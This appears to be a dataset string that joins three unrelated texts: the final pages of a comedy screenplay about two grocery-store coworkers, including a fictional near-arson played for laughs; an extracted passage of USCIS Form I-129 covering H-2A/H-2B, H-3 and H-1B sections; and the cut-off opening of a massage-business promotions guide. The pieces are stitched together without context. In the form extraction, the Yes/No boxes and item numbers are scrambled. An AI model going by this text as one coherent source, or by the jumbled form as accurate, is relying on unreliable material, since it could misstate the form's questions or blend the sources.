case.\nMIN\nYou cut that ham today?\nMina nods. Min nods back. More browsing.\nMin gets down to eye level with the cold cuts and potato\nsalads. He carefully scans before standing back up.\nMIN (CONT’D)\nBoar’s Head?\nMINA\nBut of course.\nMIN\nBut of course.\nMINA\nBrochure?\nMina hands Min a Boar’s Head brochure from the top of the\ncase. Min skeptically takes it from her.\nMIN\nNever seen these before.\nMINA\nHmm.\nMIN\nHmm.\nMin looks down at the pamphlet in his hand, everything seems\nto check out. He turns it over to look at the back, his\neyebrows suddenly furrowing.\nINT. SAFEWAY BACK ROOM – DAY\nRuby cracks open the door to the employee supply closet. It’s\npitch black, and she struggles to find a light switch. As she\nwalks around, a light chain from above hits her in the head.\nShe pulls on it to reveal-\n\n82.\nMALLORY, an everyday 40-year-old employee, huddled in the\ncorner.\nRUBY\nHi, uh, my name is Ruby. I think I\nwas just hired, I’m looking for-\nMALLORY\nWhatever they told you, it isn’t\ntrue. Run while you can.\nRUBY\nI’m sorry, I think you’re\nmisunderstanding. I’m just here to\nfind a bucket. For the shrimp!\nMallory sighs in disappointment. She flicks her head behind\nRuby towards the bucket.\nMALLORY\nHave at it then.\nRuby turns towards the bucket. The wall behind her catches\nher eyes and her jaw drops.\nWallpapered across the closet are hundreds of comment cards\nand employee of the month certificates.\nRUBY\nYou...\nRuby turns around, absolutely shellshocked.\nRUBY (CONT’D)\nYou’re-\nMALLORY\n-the most decorated employee in\ncompany history? I am. I was.\nRUBY\nIt’s grocery store anarchy out\nthere! Did anyone watch the\ntraining videos? Reorganize the\nstore layout? Switch the-\nMALLORY\n-shifts so that compatible employee\npersonalities are together to make\nfor a harmonious shopping\nexperience? Trust me, I tried it\nall.\n\n83.\nRUBY\nWhat happened?\nMALLORY\nI never wanted to be manager. I\nwanted to stay on the ground level\nof this operation. I finally gave\nin, and when I did, the higher ups\nlaughed at every single one of my\nideas.\nRuby stares in bewilderment of the certificates on the walls.\nThey all have Mallory’s name on them.\nMALLORY (CONT’D)\nMy boss asked me to step down after\nI suggested replacing the selfcheckout\nstations with more human\nemployees. Now they have some lady\nnamed Katrina running the place.\nMallory walks over to a discrete mini fridge.\nMALLORY (CONT’D)\nSignature Select soda?\nMallory hands Ruby a diet orange soda. They crack open the\ncans in unison.\nMALLORY (CONT’D)\nWant to hear something terrible?\nRuby looks to Mallory.\nMALLORY (CONT’D)\nA few days back, I saw on the\ncompany newsfeed that one of our\nstores in Arizona burned down.\nRuby holds herself back from saying the obvious.\nMALLORY (CONT’D)\nThey lost it all, the whole thing\njust whoosh. And the first thing I\nthought was “Lucky them. They’re\nfree.”\nA speechless Ruby exhales. Mallory goes back to sipping her\nsoda, Ruby redirects her attention to the comment-card\ncovered walls. She picks one off and stares at it: all\nexcellent boxes checked.\n\n84.\nShe holds it in her hands and stares at it. Her face of\nsadness slowly turns to one of anger. She crumples the card\nin her hand and throws the wad down at the floor.\nRUBY\nMallory, do you believe things\nhappen for a reason?\nMALLORY\nIt’s hard to believe in anything\nthese days.\nRuby is suddenly energized with purpose.\nRUBY\nGo home. Quickly.\nMALLORY\nWhat?\nRUBY\nI’m about to set you free.\nINT. SAFEWAY HALLWAY - DAY - CONTINUOUS\nRuby storms out of the closet and looks down the hallway. She\nwalks a few feet and pulls a fire alarm on the wall.\nLights flash. Alarms sound. She rushes through the store.\nRUBY\n(yelling)\nEveryone out of the store! Quickly\nand in an orderly fashion! There’s\na fire, everyone out!\nCommotion ensues as everyone runs for their lives. Around the\ncorner comes Min. He’s holding an enormous bag of ham.\nMIN\nRuby! We gotta get out of here,\nthere’s a fire!\nRUBY\nNo, there’s not. But there’s about\nto be.\nRuby looks up at the aisle signs and quickly locates the one\nlabeled “Barbecue supplies.” She grabs an abandoned cart and\nraces towards it. Min runs behind her.\n\n85.\nINT. SAFEWAY BARBECUE AISLE - CONTINUOUS\nDown the aisle, she grabs all the Signature Select lighter\nfluid they have and a box of matches.\nMIN\nWhat are you doing?\nRUBY\nDon’t you get it? This place isn’t\nany different than the rest of the\nworld. Everyone thinks I’m a joke!\nMIN\nYou’re not a joke, Ruby! You love\nSafeway! You can’t burn it down!\nINT. SAFEWAY SELF CHECKOUT AREA – DAY\nRuby scans her supplies as the alarms continue to blare.\nRUBY\nI studied the rules, the history,\nthe religion of Safeway. I felt\nlike I was a part of a real team.\nMIN\nYou were! You are!\nRuby puts her card in and completes the payment.\nRUBY\nThen why did no one tell me I was\ndoing my job wrong for ten years?\nMin fails to come up with an answer. Ruby grabs the receipt\nand races back into the store.\nINT. ENTRANCE TO ALCOHOL SECTION - DAY\nRUBY\nI’m just someone to laugh at, Min.\nThat’s what I’ve always been.\nRuby cracks open a container of lighter fluid and douses the\nmat in front of the alcohol section sliding doors.\nMIN\nRuby, there’s something-\n\n86.\nRUBY\nOur store burned down for a reason.\nI thought it was so I could\ncontinue my career here, but now\nit’s clear.\nRuby takes several steps away from the entrance and grabs a\nmatch from the box.\nMIN\nRuby, wait-\nRUBY\nBack up, Min. What I’m about to do\nis very reckless.\nSirens in the distance. Ruby strikes the match.\nMIN\nI’m the one who burned down our\nstore!\nRuby confusedly looks up at Min. He isn’t kidding. Her arm\nfalls and she drops the match on the tile floor.\nRUBY\nWhat?\nMin’s bottom jaw quivers, a tear streaming down his face.\nFLASHBACK – INT. SAFEWAY DELI – NIGHT\nThe rest of the store has its lights off. In the Deli, Min\nhas set up a green screen with powerful, professional lights\nshining towards it. Upbeat pop music is playing.\nMin sits behind a computer with a camera pointed towards the\nscreen. He clicks a button and the green screen turns into a\nshot of outer space.\nHe stands up, revealing a space suit. He puts his helmet on\nand stands in front of the screen. He poses, clicking a\nbutton to take pictures.\nOver to the side, an outlet with too many adapters plugged in\nsparks. The corner of the green screen catches fire.\nMin takes his helmet off to pose with it in his hand, visibly\nholding his breath to really sell that there’s no air in\nspace. The entire screen goes up in flames, and he finally\nnotices.\n\n87.\nMIN\nUh oh.\nHe tries to put it out, but ends up knocking the screen over,\nwhich creates a larger fire. The fire alarm goes off, he\ngrabs his laptop, and runs out of the deli.\nEND FLASHBACK\nRuby stands in disbelief. The sirens grow louder.\nRUBY\nThis whole time…it was you?\nMIN\nIt was an accident. I’m so sorry.\nRuby’s numbness is interrupted by the sudden realization of a\nfire behind her. She looks down to where she dropped the\nmatch, and a small trail of lighter fluid on the tile has\nlead to the fuel-soaked mat.\nRuby’s eyes widen in horror.\nRUBY\nFire! Fire!\nRuby pulls out her screaming meanie and sounds her personal\nalarm. As the fire grows, Min steps back, shielding his face.\nRuby instinctively runs over towards the customer service\ndesk, breaks open the fire extinguisher case, and grabs it.\nShe fearlessly runs back over to the fire and lets the\nextinguisher rip. Her face is somewhere between angry and\nheartbroken.\nFrom behind her, FIREMEN run into the store.\nFIREMAN 1\nStand clear!\nThey shove Ruby aside, only to see she’s extinguished the\nblaze herself. She stares numbly at residual foam.\nFIREMAN 2\nThat was incredibly brave of you,\nyoung lady.\nKatrina the store manager enters in disbelief.\nKATRINA\nJesus Mary and Joseph, you put out\nan actual fire?\n\n88.\nFIREMAN 1\nIf that thing had gotten into the\nalcohol section, the whole place\nwould have gone up.\nHe looks to Ruby.\nFIREMAN 1 (CONT’D)\nYou saved Safeway.\nRuby looks to Min. They have so much to say, but they stick\nto silence.\nKATRINA\nI would have let this place burn to\nthe ground. Maybe you should be\nmanager! You want the job?\nSeriously, you should take it.\nRuby hasn’t broken eye contact with Min. She holds back tears\nand rushes out the front doors of Safeway.\nEXT. SAFEWAY PARKING LOT - DAY\nPeople stand gathered near the firetrucks. Ruby runs out of\nthe entrance, Min close behind.\nMIN\nRuby, wait!\nThe onlooking crowd cheers for Ruby as she exits. She\nfrantically bursts past them.\nShe makes it to her car, Min finally catching up to her. She\nwhips around to face him.\nRUBY\nI don’t know a lot about what it\nmeans to be a friend, Min, but I\nknow they’re not supposed to lie to\neach other. Because when they do,\nthe other one hurts like I do right\nnow.\nMin somberly nods.\nRUBY (CONT’D)\nDid you...did you lie to me because\nyou thought I was too stupid to\nknow any better?\nMIN\nNo Ruby! I don’t think you’re-\n\n89.\nRuby puts up a hand.\nRUBY\nYou don’t have to say it. Everyone\nsays it. I guess I just don’t know\nwho to believe anymore.\nMin looks at a loss for words more than ever before.\nRUBY (CONT’D)\nBecause I drove you here and I’ve\nlistened to a lot of true crime\npodcasts that involve public\ntransit, I’m willing to drive you\nback to Phoenix.\nMIN\nPhoenix? You can’t go home!\nRUBY\nMy parents were right. I acted too\nrashly. Maybe the community college\nis still taking applications.\nMIN\nBut higher education is for thumb\nsuckers!\nRUBY\nYeah, well…maybe I’m a thumb-sucker\nafter all.\nA cop car with lights enters the parking lot. Min and Ruby\nfreeze until it passes and then cautiously enter the Cruiser.\nINT. CAR - DAY\nRuby freezes just before starting the car.\nRUBY\nFor the drive home, do you think\nyou could…do you think you could\njust stay quiet?\nMin looks at Ruby with guilt-filled, puppy dog eyes. He turns\nstraight ahead and gently nods.\nRuby starts her car and quietly pulls out of the parking lot.\nIt’s silent. A different, painful kind of silence.\nAs her purple beast joins the humdrum vehicles of the road,\nthe back license plate is revealed for the first time.\n\n90.\n“SAFEWAY”\nINT. RUBY’S BEDROOM – MORNING\nDarkness, with only the illuminated 7:59 of the alarm clock\nvisible. The clock strikes 8:00 and-\n-nothing.\nA soft knock at the door.\nMOM (O.S)\nRuby? Time to wake up. You don’t\nwant to be late!\nThe lifeless lump in the dark doesn’t budge.\nSUPERIMPOSE: 4 MONTHS LATER\nEXT. RALPH’S GROCERY STORE – MORNING\nRuby, aboard her valiant scooter, arrives outside the\nentrance of Ralph’s. With a deep breath, she enters.\nINT. RALPH’S CHECKOUT STAND – MORNING\nRuby scans items in the general checkout area. She silently\ngrabs a receipt after it prints, and hands it to the customer\nwith a forced smile.\nWithout looking, she greets the next customer.\nRUBY\nHi how are you doing today?\nShe looks up, only to see the suspected Ralph’s patron from\nthe opening scene. Ruby pauses for a moment, staring her\nsharply in the eyes. The woman looks confused.\nRUBY (CONT’D)\n(whispers)\nI knew you were a Ralph’s loyalist\nall along!\nWOMAN\nI’m sorry?\nRUBY\nNothing.\n\n91.\nRuby continues to scan the items. She hands her the receipt\nand the woman leaves.\nA container of cottage cheese comes down the conveyor belt.\nRuby goes to grab it and looks up to see Min.\nMIN\nHi Ruby.\nRuby is clearly caught off guard.\nRUBY\nOh...hey Min.\nMIN\nI ran into Brian. He told me you\nwere working here.\nRUBY\nYeah well, it was either working\nhere or taking classes at the local\ncommunity college.\nMIN\nI brought you something.\nMin hands Ruby a manilla envelope.\nRUBY\nMin, you don’t need to…gifts are\nfor friends.\nMIN\nI thought you could maybe put it in\nyour binder.\nRuby opens the envelope. Her jaw drops.\nShe’s holding a beautiful watercolor painting of the “Ruby’s”\ngrocery store facade. It’s beautiful, with an intricate logo\nwhere the “’s” looks a bit like the Signature Safeway “S”.\nMIN (CONT’D)\nIt’s just a draft.\nRUBY\nMin, it’s...\nMIN\nI’ve been working on it for months.\nI’ve been trying to get it just\nright.\n\n92.\nRUBY\nWhy did you do this?\nMIN\nI don’t think you’re stupid. I\nthink people who think you’re\nstupid are stupid.\nRuby chuckles to herself.\nMIN (CONT’D)\nYou were born to open this grocery\nstore. One with decently priced\nfine cheeses and no self-checkout\nmachines.\nRUBY\nRuby’s isn’t real, Min. It’s just a\ncrazy dream I had.\nMIN\nWhat if we had the means to make\nthat dream real?\nRuby furrows her eyebrows.\nEXT. HIGHWAY – MORNING\nThere she goes, the purple stallion galloping away.\nINT. CAR - MORNING\nRUBY\nWow…so this is for real?\nMIN\nI’ll never lie to you again. This\nis for real.\nEXT. WEALTHY NEIGHBORHOOD – MORNING\nRuby and Min pull into a gated neighborhood. They stop at the\nentrance booth. Ruby rolls down her window.\nBOOTH ATTENDANT\nHow can I help you?\nMin leans forward and waves.\n\n93.\nBOOTH ATTENDANT (CONT’D)\nAhh, Min! How are ya champ? Didn’t\nrecognize you without your Beemer.\nMIN\nThis is my friend Ruby.\nRuby can’t help but smile hearing her favorite title again.\nBOOTH ATTENDANT\nWell it’s wonderful to meet you,\nRuby! I’ll buzz you two in.\nThe gate opens. Ruby cautiously proceeds.\nRUBY\nWhat’s a Beemer?\nMIN\nJust a car.\nRuby drives down the street. It’s a rich man’s paradise.\nFriendly faces watering perfectly manicured lawns, wellbehaved\ndogs sitting on porches, luxury all around.\nMIN (CONT’D)\nJust keep going straight.\nThey approach a mansion at the end of the street with a giant\nBoar’s Head logo mounted to the front entrance.\nRUBY\nBoar’s Head? Like the deli brand?\nMIN\nPark wherever you like.\nThe PT Cruiser, in a sea of Beemers, Rolls Royces, and Aston\nMartins, parks right in front of the doors.\nEXT. FRONT PORCH – MORNING\nMin approaches the front door. Ruby quickly takes her Ralph’s\nname tag off and hides it as they walk inside.\nAs soon as they enter the luxurious home, round the corner\ncomes PAPA MIN, a 55-year-old Korean man with the most joyful\ndemeanor in the world.\nPAPA MIN\nMin! You made it!\n\n94.\nPapa Min hugs Min with the sort of warmth that leaves you\nquestioning your own parents’ love.\nMIN\nRuby, this is Papa.\nPAPA MIN\nRuby! What an absolute delight!\nWith all the stories Min has told\nme, you already feel like a part of\nthe family.\nRuby sheepishly grins.\nPAPA MIN (CONT’D)\nCome! Let’s sit.\nINT. PAPA MIN’S LIVING ROOM – DAY\nThe three sit down around a table of beautifully sliced cold\ncuts. Boar’s Head and deli-themed memorabilia fill the walls.\nRUBY\nPardon my question if this is too\npersonal, but how did you two\nreunite?\nMIN\nRemember when we went to Alpha\nSafeway? The deli-woman there gave\nme this.\nMin grabs a Boar’s Head brochure off the table and hands it\nto Ruby. She confusedly stares at it.\nMIN (CONT’D)\nLook at the back.\nShe flips it over to see a picture of Papa Min, beaming with\ndeli pride, above the title “Boar’s Head CEO.”\nMIN (CONT’D)\nI immediately recognized him. It’s\nas though he hadn’t aged since he\nleft my mom.\nPAPA MIN\nYou’re flattering me, son! Your\nmother’s abuse was just so taxing I\nwas aging three times the normal\nrate when I was with her. Since\nleaving her, I now age at a\nperfectly healthy rate.\n\n95.\nRUBY\nWhy didn’t you say anything on the\ncar ride home?\nMIN\nYou asked me to stay quiet.\nRuby ashamedly drops eye contact and nods to herself.\nPAPA MIN\n(to Ruby)\nAfter Min’s mother and I separated,\nI promised myself I’d pursue my\npassion as far as it would take me.\nMy passion, of course, being-\nRUBY\nDeli meat?\nPAPA MIN\nOne salami sale led to the next and\nnow I’m the CEO of Boar’s Head, the\ndeli brand America trusts most.\nMIN\nAfter we came back and I had no\nplace to stay, I reached out.\nPapa Min turns to Min.\nPAPA MIN\nSon, I will never forgive myself\nfor believing your mother when she\ntold me you froze to death at a\nhockey match. I just…you mean more\nto me than any cold cut ever could.\nI love you, Min. I hope you know\nhow much I mean that.\nMin places a hand of understanding on his father’s shoulder.\nThe two simultaneously grab a piece of deli meat from the\nplatter and scarf it down.\nPAPA MIN (CONT’D)\n(between chews)\nSo, Ruby! Min tells me you’re\nlooking for investors?\nRUBY\n(anxiously)\nWill you excuse me?\nRuby hops up and nervously runs to the-\n\n96.\nINT. PAPA MIN’S ENTRYWAY – CONTINUOUS\nMin follows behind.\nMIN\nRuby! Where are you going?\nRUBY\nI don’t deserve the responsibility\nof an entire grocery store. You saw\nme at Alpha Safeway.\nMIN\nYou just had a rough day. We’re\nallowed to have those.\nRUBY\nI was mean to you! And you didn’t\ndo anything to deserve that.\nMIN\nI did commit arson.\nRUBY\nBut that was an accident. I freaked\nout for no reason. People are right\nabout me. I’m just-\nRuby is interrupted by a sudden embrace from Min, their firstever\nhug. She’s taken off guard, but she’s not uncomfortable.\nMIN\n(whispers)\nIt’s okay.\nRuby seems to release some of her self-consciousness in his\narms. They finally let go of one another.\nMIN (CONT’D)\nWait right here.\nHe runs into the depths of the mansion. Ruby pauses to notice\nframed photos of Papa Min with large hams and prize-winning\nturkeys. And by God, it looks like he’s dabbling in women’s\nfashion in a few of the photos.\nMIN (CONT’D)\nWould this help?\nMin has returned with a bright orange name tag. It just has\n“Ruby” on it, no Safeway logo. He gives it to her. She’s\nspeechless.\nBursting with a contagious smile, Ruby nods.\n\n97.\nINT. PAPA MIN’S LIVING ROOM – CONTINUOUS\nThey return to their original spots.\nRUBY\nSorry about that, I just…\nRuby looks down at the name tag, then fastens it to her polo.\nShe has Papa Min’s full attention. She takes a deep breath.\nRUBY (CONT’D)\nWhen I was sixteen years old, I\napplied to my very first job. It\nwas at a grocery store called\nSafeway.\nMONTAGE:\n- Ruby’s enthusiasm elevates as she continues her spiel. Min\nnods along excitedly.\n- A white board has been broken out. On it, Ruby has drawn a\npyramid: the bottom level labeled “Cashiers,” the middle\nlevel labeled “Managers,” and the top level labeled “Alcohol\nSales Associates.”\n- At a coffee shop, the three sit together as Ruby flips\nthrough her binder. Papa Min is captivated.\n- Ruby, Min, and Papa Min stand in front of the site of the\nburned down Safeway. A “for sale” sign is planted in front of\nthe property. Ruby uses large hand gestures, outlining an Aframe\nentrance.\n- A ribbon cutting ceremony, though most of the building is\nout of view. Ruby’s parents arrive, her dad carrying a tray\nof deviled eggs. Their jaws drop at the out-of-view facade.\nINT. MIN’S ROOM – MORNING\nA pajama-clad Min sits on the edge of his bed reading a card\n– the one Ruby was so enamored by back in Vegas.\nRUBY (V.O)\nDear Min. I thought I had gained\neverything I needed in life from\nworking in Safeway. I learned\ndiscipline, respect, unparalleled\ncustomer service skills. And as I’m\nsure you’re well aware, my forearm\nstrength has never been better.\n\n(MORE)\n98.\nINT. MIN’S BATHROOM – MORNING\nMin brushes his teeth in the mirror.\nRUBY (V.O)\nI was perfectly content. Then one\nday, you called me something no one\nhad ever called me before. You\nopened my eyes to a whole other\nworld out there beyond the\nBottomfeeders and customer\nsatisfaction surveys.\nINT. MIN’S CLOSET - MORNING\nMin puts on an orange polo accented with brown.\nRUBY (V.O)\nThere were car rides. And casinos.\nAnd dancing. And escaping\nemotionally abusive mothers, all\nthe things that felt out of reach\nfor me. And, well, all those things\ncame into my life because of you.\nEXT. PAPA MIN’S LUXURIOUS DRIVEWAY – MORNING\nMin walks out the front door. He hops in the driver’s seat of\nhis Beemer, now embellished with baby flames on the side. He\nrevs the engine and pulls out of the driveway.\nRUBY (V.O)\nYou, Min from the Deli, are the\nonly reason I ever realized I could\nbe more than just an alcohol sales\nassociate.\nAs Min drives away, the back license plate becomes visible:\n“RUBYS”\nINT. RUBY’S GROCERY STORE – LIQUOR SECTION – DAY\nRuby, also sporting an orange polo, checks the ID of a\nclearly underage kid. She shakes her head at him and promptly\ncuts the ID in half.\nRUBY (V.O.)\nSo thank you. For believing in me.\nFor encouraging me.\n\nRUBY (V.O.) (CONT\'D)\n99.\nAnd for giving me everything I\nnever knew I needed.\nEXT. RUBY’S GROCERY STORE - CONTINUOUS\nAs the scared teenager runs out of the store, we see Min’s\nBeemer pull into a spot in front of the breathtaking A-Frame\nfront facade of Ruby’s.\nMin walks in to the-\nINT. RUBY’S GROCERY STORE ENTRANCE\n-and it’s everything Ruby had dreamed of. It’s the inspo\nbinder come to life.\nHe walks over to the deli, and it’s equally magnificent. An\nenormous Boar’s Head sign hangs above the sprawling glass\ncase. He steps behind the counter, his coworkers greeting him\nwith excited smiles.\nHe fastens a name tag to his shirt that reads: “Min - Deli\nManager.”\nHe leaves the deli to walk over to the-\nINT. RUBY’S GROCERY STORE – LIQUOR SECTION\nHe enters to see Ruby grinning as she throws away the fake\nID. He smiles.\nRUBY (V.O.)\nI’m a little nervous about what the\nfuture holds. But I think if we\nstick together, it’s going to be\nokay.\nRuby looks up to see Min, her grin erupting into a full-on\near-to-ear smile. Nothing customer-service about it.\nCUT TO BLACK.\nRUBY (V.O)\nYour friend, Ruby.\nEND.' -'Section 2. Complete This Section If Filing for H-2A or H-2B Classification (continued)\n7.a. Did you or do you plan to use a staffing, recruiting, or similar placement service or agent to locate the H-2A/H-2B workers that\nyou intend to hire by filing this petition?\nIf yes, list the name and address of service or agent used below. Please use Part 10. of Form I-129 if you need to include the\nname and address of more than one service or agent.\nName\nYes No\n7.b.\nDid any of the H-2A/H-2B workers that you are requesting pay you, or an agent, a job placement fee or other form\nof compensation (either direct or indirect) as a condition of the employment, or do they have an agreement to pay\nyou or the service such fees at a later date? The phrase "fees or other compensation" includes, but is not limited to,\npetition fees, attorney fees, recruitment costs, and any other fees that are a condition of a beneficiary\'s employment\nthat the employer is prohibited from passing to the H-2A or H-2B worker under law under U.S. Department of\nLabor rules. This phrase does not include reasonable travel expenses and certain government-mandated fees (such\nas passport fees) that are not prohibited from being passed to the H-2A or H-2B worker by statute, regulations, or\nany laws.\n8.c. If the workers paid any fee or compensation, were they reimbursed?\nYes\n9. Have you made reasonable inquiries to determine that to the best of your knowledge the recruiter,\nfacilitator, or similar employment service that you used has not collected, and will not collect, directly or\nindirectly, any fees or other compensation from the H-2 workers of this petition as a condition of the H-2\nworkers\' employment?\nHave you ever had an H-2A or H-2B petition denied or revoked because an employee paid a job placement\nfee or other similar compensation as a condition of the job offer or employment?\n10.b. Were the workers reimbursed for such fees and compensation? (Submit evidence of reimbursement.) If\nyou answered no because you were unable to locate the workers, include evidence of your efforts to locate\nthe workers.\nNo\nYes No\nYes No\nYes\nNo 8.d. If the workers agreed to pay a fee that they have not yet been paid, has their agreement been terminated\nbefore the workers paid the fee? (Submit evidence of termination or reimbursement with this petition.)\nIf yes, list the types and amounts of fees that the worker(s) paid or will pay.\nYes No\nNOTE: If USCIS determines that you knew, or should have known, that the workers requested in\nconnection with this petition paid any fees or other compensation at any time as a condition of\nemployment, your petition may be denied or revoked.\n10.a.\n10.a.1\n10.a.2\nIf yes, when?\nReceipt Number:\n7.c. Address\nCity or Town State ZIP Code\nStreet Number and Name Apt. Ste. Flr. Number\n8.b.\nYes No 8.a.\n►\n Page 16 of 36\nForm I-129 Edition 11/02/22\nSection 2. Complete This Section If Filing for H-2A or H-2B Classification (continued)\nYes No 11. Have any of the workers you are requesting experienced an interrupted stay associated with their entry as\nan H-2A or H-2B? (See form instructions for more information on interrupted stays.)\nIf yes, document the workers\' periods of stay in the table on the first page of this supplement. Submit\nevidence of each entry and each exit, with the petition, as evidence of the interrupted stays.\n12.a. If you are an H-2A petitioner, are you a participant in the E-Verify program? Yes No\n12.b. If yes, provide the E-Verify Company ID or Client Company ID.\nThe petitioner must execute Part A. If the petitioner is the employer\'s agent, the employer must execute Part B. If there are joint\nemployers, they must each execute Part C.\nFor H-2A petitioners only: The petitioner agrees to pay $10 in liquidated damages for each instance where it cannot demonstrate it is\nin compliance with the notification requirement.\nThe H-2A/H-2B petitioner and each employer consent to allow Government access to the site where the labor is being performed for\nthe purpose of determining compliance with H-2A/H-2B requirements. The petitioner further agrees to notify DHS beginning on a\ndate and in a manner specified in a notice published in the Federal Register within 2 workdays if: an H-2A/H-2B worker fails to report\nfor work within 5 workdays after the employment start date stated on the petition or, applicable to H-2A petitioners only, within 5\nworkdays of the start date established by the petitioner, whichever is later; the agricultural labor or services for which H-2A/H-2B\nworkers were hired is completed more than 30 days early; or the H-2A/H-2B worker absconds from the worksite or is terminated prior\nto the completion of agricultural labor or services for which he or she was hired. The petitioner agrees to retain evidence of such\nnotification and make it available for inspection by DHS officers for a one-year period. "Workday" means the period between the\ntime on any particular day when such employee commences his or her principal activity and the time on that day at which he or she\nceases such principal activity or activities.\nPart A. Petitioner\nPart B. Employer who is not the petitioner\nPart C. Joint Employers\nSignature of Petitioner Name of Petitioner Date (mm/dd/yyyy)\nBy filing this petition, I agree to the conditions of H-2A/H-2B employment and agree to the notification requirements. For H-2A\npetitioners: I also agree to the liquidated damages requirements defined in 8 CFR 214.2(h)(5)(vi)(B)(3).\nSignature of Employer Name of Employer Date (mm/dd/yyyy)\nI certify that I have authorized the party filing this petition to act as my agent in this regard. I assume full responsibility for all\nrepresentations made by this agent on my behalf and agree to the conditions of H-2A/H-2B eligibility.\nI agree to the conditions of H-2A eligibility.\nSignature of Joint Employer Name of Joint Employer\nName of Joint Employer\nName of Joint Employer\nName of Joint Employer\nDate (mm/dd/yyyy)\nDate (mm/dd/yyyy)\nDate (mm/dd/yyyy)\nDate (mm/dd/yyyy)\nSignature of Joint Employer\nSignature of Joint Employer\nSignature of Joint Employer\n Page 17 of 36\nForm I-129 Edition 11/02/22\nSection 3. Complete This Section If Filing for H-3 Classification\nIs the training you intend to provide, or similar training, available in the beneficiary\'s country?\nIf you do not intend to employ the beneficiary abroad at the end of this training, explain why you wish to incur the cost of\nproviding this training and your expected return from this training.\nWill the training benefit the beneficiary in pursuing a career abroad?\nDoes the training involve productive employment incidental to the training? If yes, explain the\namount of compensation employment versus the classroom in Part 9. of Form I-129.\nDoes the beneficiary already have skills related to the training?\nIs this training an effort to overcome a labor shortage?\nDo you intend to employ the beneficiary abroad at the end of this training?\nIf you answer yes to any of the following questions, attach a full explanation.\nYes\nNo\nYes\nNo\nYes\nYes No\nNo\nYes\nNo\nYes\n1. No\n2.\n3.\n4.\n5.\n6.\n7.\n Page 18 of 36\nForm I-129 Edition 11/02/22\nH-1B and H-1B1 Data Collection and\nFiling Fee Exemption Supplement\nDepartment of Homeland Security\nU.S. Citizenship and Immigration Services\nUSCIS\nForm I-129\nOMB No. 1615-0009\nExpires 11/30/2025\n1. Name of the Petitioner\n2. Name of the Beneficiary\nSection 1. General Information\nc.1. If yes, is it because the beneficiary\'s annual rate of pay is equal to at least $60,000?\na. Is the petitioner an H-1B dependent employer?\nb. Has the petitioner ever been found to be a willful violator?\nc. Is the beneficiary an H-1B nonimmigrant exempt from the Department of Labor attestation\nrequirements?\nd. Does the petitioner employ 50 or more individuals in the United States?\nd.1. If yes, are more than 50 percent of those employees in H-1B, L-1A, or L-1B nonimmigrant\nstatus?\nc.2. Or is it because the beneficiary has a master\'s degree or higher degree in a specialty related to\nthe employment?\n1. Employer Information - (select all items that apply)\n2. Beneficiary\'s Highest Level of Education (select only one box)\na. NO DIPLOMA\nb. HIGH SCHOOL GRADUATE DIPLOMA or\nthe equivalent (for example: GED)\nc. Some college credit, but less than 1 year\nd. One or more years of college, no degree\ne. Associate\'s degree (for example: AA, AS)\nf. Bachelor\'s degree (for example: BA, AB, BS)\ng. Master\'s degree (for example: MA, MS, MEng, MEd,\nMSW, MBA)\nh. Professional degree (for example: MD, DDS, DVM, LLB, JD)\ni. Doctorate degree (for example: PhD, EdD)\nNo\nYes\nNo\nYes\nNo\nNo\nYes No\nYes\nYes\nNo\nYes\nNo\nYes\n3. Major/Primary Field of Study\n4. Rate of Pay Per Year 5. DOT Code 6. NAICS Code\nIn order for USCIS to determine if you must pay the additional $1,500 or $750 American Competitiveness and Workforce\nImprovement Act (ACWIA) fee, answer all of the following questions:\nYes No 1. Are you an institution of higher education as defined in section 101(a) of the Higher\nEducation Act of 1965, 20 U.S.C. 1001(a)?\nSection 2. Fee Exemption and/or Determination\n2. Are you a nonprofit organization or entity related to or affiliated with an institution of higher education,\nas defined in 8 CFR 214.2(h)(19)(iii)(B)?\nYes No\n Page 19 of 36\nForm I-129 Edition 11/02/22\n3. Are you a nonprofit research organization or a governmental research organization, as defined in\n8 CFR 214.2(h)(19)(iii)(C)?\n4. Is this the second or subsequent request for an extension of stay that this petitioner has filed for this\nalien?\n5. Is this an amended petition that does not contain any request for extensions of stay?\n8. Is the petitioner a nonprofit entity that engages in an established curriculum-related clinical training of\nstudents registered at such an institution?\n6. Are you filing this petition to correct a USCIS error?\n7. Is the petitioner a primary or secondary education institution?\nIf you answered yes to any of the questions above, you are not required to submit the ACWIA fee for your H-1B Form I-129 petition.\nIf you answered no to all questions, answer Item Number 9. below.\n9. Do you currently employ a total of 25 or fewer full-time equivalent employees in the United States,\nincluding all affiliates or subsidiaries of this company/organization?\nIf you answered yes, to Item Number 9. above, you are required to pay an additional ACWIA fee of $750. If you answered no, then\nyou are required to pay an additional ACWIA fee of $1,500.\nNo\nYes\nNo\nYes\nNo\nYes\nYes No\nNo\nYes\nNo\nYes\nNo\nYes\nNOTE: A petitioner seeking initial approval of H-1B nonimmigrant status for a beneficiary, or seeking approval to employ an H-1B\nnonimmigrant currently working for another employer, must submit an additional $500 Fraud Prevention and Detection fee. For\npetitions filed on or after December 18, 2015, an additional fee of $4,000 must be submitted if you responded yes to Item Numbers\n1.d. and 1.d.1. of Section 1. of this supplement. This $4,000 fee was mandated by the provisions of Public Law 114-113.\nThe Fraud Prevention and Detection Fee and Public Law 114-113 fee do not apply to H-1B1 petitions. These fees, when applicable,\nmay not be waived. You must include payment of the fees when you submit this form. Failure to submit the fees when required will\nresult in rejection or denial of your submission. Each of these fees should be paid by separate checks or money orders.\nSection 3. Numerical Limitation Information\n1. Specify the type of H-1B petition you are filing. (select only one box):\nb. CAP H-1B U.S. Master\'s Degree or Higher\na. CAP H-1B Bachelor\'s Degree\nd. CAP Exempt\nc. CAP H-1B1 Chile/Singapore\nSection 2. Fee Exemption and/or Determination (continued)\n2. If you answered Item Number 1.b. "CAP H-1B U.S. Master\'s Degree or Higher," provide the following information\nregarding the master\'s or higher degree the beneficiary has earned from a U.S. institution as defined in 20 U.S.C. 1001(a):\na. Name of the United States Institution of Higher Education\nb. Date Degree Awarded c. Type of United States Degree\nd. Address of the United States institution of higher education\nCity or Town State ZIP Code\nStreet Number and Name Apt. Ste. Flr. Number\n Page 20 of 36' -'50 IDEAS FOR MASSAGE & SPA PROMOTIONS\n\nI know you’re excited about this book and probably want to share it with all your friends. But please respect all the time and energy I’ve\nput into it, and refer them to my online store instead!\n\nWhy run\nspecials and promotions in your massage business?\n1\nI decided to write this guide to help Massage Therapists to promote their businesses effectively.\n\nSpecials and\npromotions can\n\nBring in new clients. Customers are looking for great deals and new things to try. Just look at Groupon! You don’t have to\ndo daily deals. You can create your\n2\nown specials to bring in new customers and make money while you do it.\nGive you something to talk about. With social media we have the opportunity to 